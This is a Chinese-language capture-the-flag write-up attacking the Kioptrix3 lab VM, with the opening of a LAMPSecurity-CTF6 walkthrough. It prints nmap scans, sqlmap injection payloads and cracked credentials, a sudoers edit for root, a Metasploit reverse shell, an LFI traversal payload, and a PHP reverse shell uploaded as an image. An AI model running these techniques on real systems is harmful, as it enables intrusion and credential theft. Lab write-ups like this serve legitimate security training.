root@kali:~# nmap -A -v -sV -Pn -T4 --script=vuln 192.168.84.144
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:openbsd:openssh:4.7p1: 
|       CVE-2010-4478   7.5     https://vulners.com/cve/CVE-2010-4478
|       CVE-2017-15906  5.0     https://vulners.com/cve/CVE-2017-15906
|       CVE-2016-10708  5.0     https://vulners.com/cve/CVE-2016-10708
|       CVE-2010-4755   4.0     https://vulners.com/cve/CVE-2010-4755
|_      CVE-2008-5161   2.6     https://vulners.com/cve/CVE-2008-5161
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.84.144
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.84.144:80/gallery/
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.84.144:80/index.php?system=Admin
|     Form id: contactform
|     Form action: index.php?system=Admin&page=loginSubmit
|     
|     Path: http://192.168.84.144:80/gallery/index.php
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.84.144:80/gallery/gadmin/
|     Form id: username
|     Form action: index.php?task=signin
|     
|     Path: http://192.168.84.144:80/index.php?system=Admin&page=loginSubmit
|     Form id: contactform
|     Form action: index.php?system=Admin&page=loginSubmit
|     
|     Path: http://192.168.84.144:80/index.php?system=Blog&post=1281005380
|     Form id: commentform
|_    Form action: 
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|   /cache/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /style/: Potentially interesting folder
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?system=Admin&page=loginSubmit%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?system=Admin&page=loginSubmit%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|_    http://192.168.84.144:80/index.php?page=index%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.2.8: 
|       CVE-2010-0425   10.0    https://vulners.com/cve/CVE-2010-0425
|       CVE-2011-3192   7.8     https://vulners.com/cve/CVE-2011-3192
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2013-2249   7.5     https://vulners.com/cve/CVE-2013-2249
|       CVE-2009-1891   7.1     https://vulners.com/cve/CVE-2009-1891
|       CVE-2009-1890   7.1     https://vulners.com/cve/CVE-2009-1890
|       CVE-2012-0883   6.9     https://vulners.com/cve/CVE-2012-0883
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2013-1862   5.1     https://vulners.com/cve/CVE-2013-1862
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2014-0098   5.0     https://vulners.com/cve/CVE-2014-0098
|       CVE-2013-6438   5.0     https://vulners.com/cve/CVE-2013-6438
|       CVE-2011-3368   5.0     https://vulners.com/cve/CVE-2011-3368
|       CVE-2010-1452   5.0     https://vulners.com/cve/CVE-2010-1452
|       CVE-2010-0408   5.0     https://vulners.com/cve/CVE-2010-0408
|       CVE-2009-2699   5.0     https://vulners.com/cve/CVE-2009-2699
|       CVE-2008-2364   5.0     https://vulners.com/cve/CVE-2008-2364
|       CVE-2007-6750   5.0     https://vulners.com/cve/CVE-2007-6750
|       CVE-2009-1195   4.9     https://vulners.com/cve/CVE-2009-1195
|       CVE-2012-0031   4.6     https://vulners.com/cve/CVE-2012-0031
|       CVE-2011-3607   4.4     https://vulners.com/cve/CVE-2011-3607
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2013-1896   4.3     https://vulners.com/cve/CVE-2013-1896
|       CVE-2012-4558   4.3     https://vulners.com/cve/CVE-2012-4558
|       CVE-2012-3499   4.3     https://vulners.com/cve/CVE-2012-3499
|       CVE-2012-0053   4.3     https://vulners.com/cve/CVE-2012-0053
|       CVE-2011-4317   4.3     https://vulners.com/cve/CVE-2011-4317
|       CVE-2011-3639   4.3     https://vulners.com/cve/CVE-2011-3639
|       CVE-2011-3348   4.3     https://vulners.com/cve/CVE-2011-3348
|       CVE-2011-0419   4.3     https://vulners.com/cve/CVE-2011-0419
|       CVE-2010-0434   4.3     https://vulners.com/cve/CVE-2010-0434
|       CVE-2008-2939   4.3     https://vulners.com/cve/CVE-2008-2939
|       CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
|       CVE-2012-2687   2.6     https://vulners.com/cve/CVE-2012-2687
|_      CVE-2011-4415   1.2     https://vulners.com/cve/CVE-2011-4415
```

发现存在sqli注入和phpmyadmin目录,直接上sqlmap
点击下图所示位置burp抓包之后直接sqlmap跑

``` bash
root@kali:~# sqlmap -r sqlmap.txt 
        ___
       __H__                                                                                           
 ___ ___[)]_____ ___ ___  {1.3.12#stable}                                                              
|_ -| . [']     | .'| . |                                                                              
|___|_  [(]_|_|_|__,|  _|                                                                              
      |_|V...       |_|   http://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:14:33 /2019-12-13/

[04:14:33] [INFO] parsing HTTP request from 'sqlmap.txt'
[04:14:33] [INFO] resuming back-end DBMS 'mysql' 
[04:14:33] [INFO] testing connection to the target URL
[04:14:33] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (5293=5293) THEN 1 ELSE (SELECT 1341 UNION SELECT 9380) END))&sort=photoid

    Type: error-based
    Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: id=1 OR ROW(1324,2762)>(SELECT COUNT(*),CONCAT(0x7171766a71,(SELECT (ELT(1324=1324,1))),0x7170786a71,FLOOR(RAND(0)*2))x FROM (SELECT 8520 UNION SELECT 1582 UNION SELECT 8916 UNION SELECT 1258)a GROUP BY x)&sort=photoid

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 4741 FROM (SELECT(SLEEP(5)))vtbf)&sort=photoid

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x7171766a71,0x4d67454a425a6e796b5745656b794f584a4348714c79624d4255416243444967494975507875524d,0x7170786a71),NULL,NULL,NULL,NULL,NULL-- TpfQ&sort=photoid

Parameter: sort (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1&sort=photoid AND (SELECT 4185 FROM (SELECT(SLEEP(5)))Gmzf)
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: id, type: Unescaped numeric (default)
[1] place: GET, parameter: sort, type: Unescaped numeric
[q] Quit
[04:14:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[04:14:34] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[04:14:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/kioptrix3.com'

[*] ending @ 04:14:34 /2019-12-13/
```

``` bash
root@kali:~# sqlmap -r sqlmap.txt -D gallery -T dev_accounts --dump
        ___
       __H__                                                                                           
 ___ ___[)]_____ ___ ___  {1.3.12#stable}                                                              
|_ -| . ["]     | .'| . |                                                                              
|___|_  [(]_|_|_|__,|  _|                                                                              
      |_|V...       |_|   http://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:18:17 /2019-12-13/

[04:18:17] [INFO] parsing HTTP request from 'sqlmap.txt'
[04:18:17] [INFO] resuming back-end DBMS 'mysql' 
[04:18:17] [INFO] testing connection to the target URL
[04:18:18] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (5293=5293) THEN 1 ELSE (SELECT 1341 UNION SELECT 9380) END))&sort=photoid

    Type: error-based
    Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: id=1 OR ROW(1324,2762)>(SELECT COUNT(*),CONCAT(0x7171766a71,(SELECT (ELT(1324=1324,1))),0x7170786a71,FLOOR(RAND(0)*2))x FROM (SELECT 8520 UNION SELECT 1582 UNION SELECT 8916 UNION SELECT 1258)a GROUP BY x)&sort=photoid

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 4741 FROM (SELECT(SLEEP(5)))vtbf)&sort=photoid

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x7171766a71,0x4d67454a425a6e796b5745656b794f584a4348714c79624d4255416243444967494975507875524d,0x7170786a71),NULL,NULL,NULL,NULL,NULL-- TpfQ&sort=photoid

Parameter: sort (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1&sort=photoid AND (SELECT 4185 FROM (SELECT(SLEEP(5)))Gmzf)
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: id, type: Unescaped numeric (default)
[1] place: GET, parameter: sort, type: Unescaped numeric
[q] Quit
[04:18:18] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[04:18:18] [INFO] fetching columns for table 'dev_accounts' in database 'gallery'
[04:18:18] [INFO] used SQL query returns 3 entries
[04:18:19] [INFO] used SQL query returns 3 entries                                                    
[04:18:19] [INFO] retrieved: 'id'
[04:18:19] [INFO] retrieved: 'int(10)'
[04:18:19] [INFO] retrieved: 'username'
[04:18:19] [INFO] retrieved: 'varchar(50)'
[04:18:19] [INFO] retrieved: 'password'
[04:18:19] [INFO] retrieved: 'varchar(50)'
[04:18:19] [INFO] fetching entries for table 'dev_accounts' in database 'gallery'
[04:18:19] [INFO] used SQL query returns 2 entries
[04:18:19] [INFO] retrieved: '1','0d3eccfb887aabd50f243b3f155c0f85','dreg'
[04:18:19] [WARNING] automatically patching output having last char trimmed
[04:18:19] [INFO] retrieved: '2','5badcaf789d3d1d09794d8f021f40f0e','loneferret'
[04:18:19] [INFO] recognized possible password hashes in column 'password'                            
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[04:18:22] [INFO] writing hashes to a temporary file '/tmp/sqlmapa2cskfzq12456/sqlmaphashes-0oyz7rlz.txt'                                                                                                     
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[04:18:28] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[04:18:31] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[04:18:34] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[04:18:34] [INFO] starting 4 processes 
[04:18:39] [INFO] cracked password 'starwars' for user 'loneferret'                                   
[04:18:40] [INFO] cracked password 'Mast3r' for user 'dreg'                                           
Database: gallery                                                                                     
Table: dev_accounts
[2 entries]
+----+---------------------------------------------+------------+
| id | password                                    | username   |
+----+---------------------------------------------+------------+
| 1  | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)   | dreg       |
| 2  | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret |
+----+---------------------------------------------+------------+

[04:18:42] [INFO] table 'gallery.dev_accounts' dumped to CSV file '/root/.sqlmap/output/kioptrix3.com/dump/gallery/dev_accounts.csv'                                                                          
[04:18:42] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[04:18:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/kioptrix3.com'

[*] ending @ 04:18:42 /2019-12-13/
```
直接用sqlmap跑出账号密码，还省去了将hash拿去解密的麻烦。之后使用这两个密码直接连接ssh即可。

#### 权限提升

ssh连接

``` bash
root@kali:~# ssh loneferret@192.168.84.144
loneferret@192.168.84.144's password: 
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$ ls
checksec.sh  CompanyPolicy.README
loneferret@Kioptrix3:~$ id
uid=1000(loneferret) gid=100(users) groups=100(users)
loneferret@Kioptrix3:~$ pwd
/home/loneferret
loneferret@Kioptrix3:~$ whoami
loneferret
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht
```

可以看到当前登录的用户具有xterm-256color文本编辑器的sudo权限。 最初，我们可以尝试编辑/etc/sudoers文件，以便提升特权-为此，我们就开始吧！
如果由于某种原因在尝试运行sudo ht时出现错误，则只需像下面所做的那样将xtrem-color导出为TERM。

``` bash
loneferret@Kioptrix3:~$ sudo ht /etc/sudoers 
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm-color
loneferret@Kioptrix3:~$ sudo ht /etc/sudoers
```

可以看到这样打开sudoers文件。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub49.jpg)

从这里按F3，然后输入/etc/sudoers,回车,再下图中的位置输入[, /bin/sh]，然后F10选择yes然后保存。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub50.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub51.jpg)

输入下面命令，成功由普通用户变为root用户

``` bash
loneferret@Kioptrix3:~$ sudo /bin/sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/home/loneferret
# cd /root
# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com


Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS: 
http://www.lotuscms.org

Gallery application: 
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/


Also, all pictures were taken from Google Images, so being part of the
public domain I used them.
```

至此挑战完成。

#### 更多方法

 - 利用LotusCMS 3.0 eval（）远程命令执行漏洞

使用msf中的exploit/multi/http/lcms_php_exec模块可以直接getshell

``` bash
root@kali:~# msfdb run
[+] Starting database
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v5.0.63-dev                          ]
+ -- --=[ 1951 exploits - 1091 auxiliary - 334 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use exploit/multi/http/lcms_php_exec
msf5 exploit(multi/http/lcms_php_exec) > set RHOSTS 192.168.84.144
RHOSTS => 192.168.84.144
msf5 exploit(multi/http/lcms_php_exec) > set payload generic/shell_reverse_tcp                                                                                                                                                             
payload => generic/shell_reverse_tcp                                                                                                                                                                                                       
msf5 exploit(multi/http/lcms_php_exec) > set LHOST 192.168.84.135
LHOST => 192.168.84.135                                                                                                                                                                                                                    
msf5 exploit(multi/http/lcms_php_exec) > set URI /                                                                                                                                                                                         
URI => /

msf5 exploit(multi/http/lcms_php_exec) > exploit 

[*] Started reverse TCP handler on 192.168.84.135:4444 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 2 opened (192.168.84.135:4444 -> 192.168.84.144:57666) at 2019-12-14 06:18:03 -0500

whoami
www-data
```

成功getshell

``` bash
ls -la gallery/
total 164
drwxr-xr-x 7 root root  4096 Apr 14  2011 .
drwxr-xr-x 8 root root  4096 Apr 15  2011 ..
drwxr-xr-x 2 root root  4096 Apr 12  2011 BACK
-rw-r--r-- 1 root root  3573 Oct 10  2009 db.sql
-rw-r--r-- 1 root root   252 Apr 12  2011 g.php
drwxr-xr-x 3 root root  4096 Apr 12  2011 gadmin
-rw-r--r-- 1 root root   214 Apr 12  2011 gallery.php
-rw-r--r-- 1 root root  1440 Apr 14  2011 gconfig.php
-rw-r--r-- 1 root root   297 Apr 12  2011 gfooter.php
-rw-r--r-- 1 root root 38771 Apr 12  2011 gfunctions.php
-rw-r--r-- 1 root root  1009 Apr 12  2011 gheader.php
-rw-r--r-- 1 root root   249 Apr 12  2011 index.php
-rw-r--r-- 1 root root 10340 Apr 12  2011 install.BAK
-rw-r--r-- 1 root root   212 Apr 12  2011 login.php
-rw-r--r-- 1 root root   213 Apr 12  2011 logout.php
-rw-r--r-- 1 root root   249 Apr 12  2011 p.php
drwxrwxrwx 2 root root  4096 Apr 12  2011 photos
-rw-r--r-- 1 root root   213 Apr 12  2011 photos.php
-rw-r--r-- 1 root root   219 Apr 12  2011 post_comment.php
-rw-r--r-- 1 root root   214 Apr 12  2011 profile.php
-rw-r--r-- 1 root root    87 Oct 10  2009 readme.html
-rw-r--r-- 1 root root   213 Apr 12  2011 recent.php
-rw-r--r-- 1 root root   215 Apr 12  2011 register.php
drwxr-xr-x 2 root root  4096 Apr 13  2011 scopbin
-rw-r--r-- 1 root root   213 Apr 12  2011 search.php
-rw-r--r-- 1 root root   216 Apr 12  2011 slideshow.php
-rw-r--r-- 1 root root   211 Apr 12  2011 tags.php
drwxr-xr-x 6 root root  4096 Apr 12  2011 themes
-rw-r--r-- 1 root root    56 Oct 10  2009 version.txt
-rw-r--r-- 1 root root   211 Apr 12  2011 vote.php
```

在gallery目录下发现phpmyadmin配置文件中的phpmyadmin的用户名和密码

``` bash
cat gallery/gconfig.php
<?php
        error_reporting(0);
        /*
                A sample Gallarific configuration file. You should edit
                the installer details below and save this file as gconfig.php
                Do not modify anything else if you don't know what it is.
        */

        // Installer Details -----------------------------------------------

        // Enter the full HTTP path to your Gallarific folder below,
        // such as http://www.yoursite.com/gallery
        // Do NOT include a trailing forward slash

        $GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";

        $GLOBALS["gallarific_mysql_server"] = "localhost";
        $GLOBALS["gallarific_mysql_database"] = "gallery";
        $GLOBALS["gallarific_mysql_username"] = "root";
        $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

        // Setting Details -------------------------------------------------

if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) {
                echo("A connection to the database couldn't be established: " . mysql_error());
                die();
}else {
        if(!$g_mysql_d = @mysql_select_db($GLOBALS["gallarific_mysql_database"], $g_mysql_c)) {
                echo("The Gallarific database couldn't be opened: " . mysql_error());
                die();
        }else {
                $settings=mysql_query("select * from gallarific_settings");
                if(mysql_num_rows($settings)!=0){
                        while($data=mysql_fetch_array($settings)){
                                $GLOBALS["{$data['settings_name']}"]=$data['settings_value'];
                        }
                }

        }
}

?>
```

发现phpmyadmin的用户名密码：root/fuckeyou，直接登录然后getshell

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub52.jpg)

具体参考：[phpmyadmin getshell](https://www.jianshu.com/p/ddd41b841c36)

 - LFI漏洞组合利用

``` bash
http://192.168.84.144/index.php?system=../../../../../../../etc/passwd%00.html
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub53.jpg)

使用之前的sql注入得到admin的密码下图所示登录

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub54.jpg)

将php reverse shell木马后缀改成.jpg上传，然后右键得到图片的链接

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub55.jpg)

浏览器访问

``` bash
192.168.84.144/index.php?system=../../../../../../../home/www/kioptrix3.com/gallery/photos/x281lo68jw.jpg%00.html
```

同时kali端nc监听成功返回shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
connect to [192.168.84.135] from kioptrix3.com [192.168.84.144] 37790
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
 15:10:15 up  2:59,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
loneferr pts/0    192.168.84.135   12:27   21:13m  4.66s  0.01s sshd: loneferre
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/
$ whoami
www-data
$
```
6的一批！！！！！！

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="red">***The end,to be continue...***</font>
<!-- kb:end KVM3 -->

</details>

<a id="case-lampsecurity-ctf6"></a>

## SQL 数据到 udev 进程

页面参数注入连接账户，旧 udev 的提权需要准确 PID 与多次验证。原文中的重试和失败现象一并保留。

<p class="kb-provenance">来源 LAMPSecurity-CTF6 · 原记录 2019-12-16 · 10 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-lampsecurity-ctf6">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start LAMPSecurity-CTF6 -->

名称：LAMPSecurity-CTF6
发布日期：2009年6月29日

下载：

 - Download: [http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/CTF6/lampsecurity_ctf6.zip/download](http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/CTF6/lampsecurity_ctf6.zip/download)
 - Download (Mirror): [https://download.vulnhub.com/lampsecurity/ctf6.zip](https://download.vulnhub.com/lampsecurity/ctf6.zip)
 - Download (Torrent): [https://download.vulnhub.com/lampsecurity/ctf6.zip.torrent](https://download.vulnhub.com/lampsecurity/ctf6.zip.torrent)

描述：

LAMPSecurity项目旨在产生可用于培训信息安全专业人员和测试产品的培训和基准测试工具。 请注意，还有其他捕获flag练习（不仅仅是最新的一种）。 检查SourceForge站点以找到其他可用的练习（http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/）。

通过遵循本文档，可以将这些练习用于培训目的。 另外，您可能希望使用CTF虚拟机作为目标来测试新工具。 这对于评估漏洞发现或渗透测试工具的有效性特别有用。



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.142.0/24
Nmap scan report for 192.168.142.129
Host is up (0.00034s latency).
MAC Address: 00:0C:29:32:79:F3 (VMware)
```

``` bash
root@kali:~# nmap -A -v -sV -Pn -T4 --script=vuln 192.168.142.129
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 4.3 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:openbsd:openssh:4.3: 
|       CVE-2006-5051   9.3     https://vulners.com/cve/CVE-2006-5051
|       CVE-2006-4924   7.8     https://vulners.com/cve/CVE-2006-4924
|       CVE-2014-1692   7.5     https://vulners.com/cve/CVE-2014-1692
|       CVE-2010-4478   7.5     https://vulners.com/cve/CVE-2010-4478
|       CVE-2007-4752   7.5     https://vulners.com/cve/CVE-2007-4752
|       CVE-2009-2904   6.9     https://vulners.com/cve/CVE-2009-2904
|       CVE-2017-15906  5.0     https://vulners.com/cve/CVE-2017-15906
|       CVE-2016-10708  5.0     https://vulners.com/cve/CVE-2016-10708
|       CVE-2010-5107   5.0     https://vulners.com/cve/CVE-2010-5107
|       CVE-2008-4109   5.0     https://vulners.com/cve/CVE-2008-4109
|       CVE-2007-2243   5.0     https://vulners.com/cve/CVE-2007-2243
|       CVE-2006-5052   5.0     https://vulners.com/cve/CVE-2006-5052
|       CVE-2010-4755   4.0     https://vulners.com/cve/CVE-2010-4755
|       CVE-2012-0814   3.5     https://vulners.com/cve/CVE-2012-0814
|       CVE-2011-5000   3.5     https://vulners.com/cve/CVE-2011-5000
|       CVE-2011-4327   2.1     https://vulners.com/cve/CVE-2011-4327
|_      CVE-2008-3259   1.2     https://vulners.com/cve/CVE-2008-3259
80/tcp   open  http       Apache httpd 2.2.3 ((CentOS))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.142.129
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.142.129:80/mail/
|     Form id: rcmlogintz
|     Form action: ./
|     
|     Path: http://192.168.142.129:80/?action=login
|     Form id: 
|     Form action: ?action=login
|     
|     Path: http://192.168.142.129:80/mail/?_task=mail
|     Form id: rcmlogintz
|     Form action: ./
|     
|     Path: http://192.168.142.129:80/mail/
|     Form id: rcmlogintz
|_    Form action: ./
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /mail/: Mail folder
|   /logs/: Logs (401 Authorization Required)
|   /phpmyadmin/: phpMyAdmin
|   /css/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|   /docs/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|   /files/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|   /inc/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|   /lib/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|   /manual/: Potentially interesting folder
|   /sql/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|_  /templates/: Potentially interesting directory w/ listing on 'apache/2.2.3 (centos)'
|_http-server-header: Apache/2.2.3 (CentOS)
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.142.129:80/mail/program/js/?C=M%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.129:80/mail/program/js/?C=S%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.142.129:80/mail/program/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|_    http://192.168.142.129:80/mail/program/js/?C=N%3bO%3dD%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
110/tcp  open  pop3       Dovecot pop3d
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
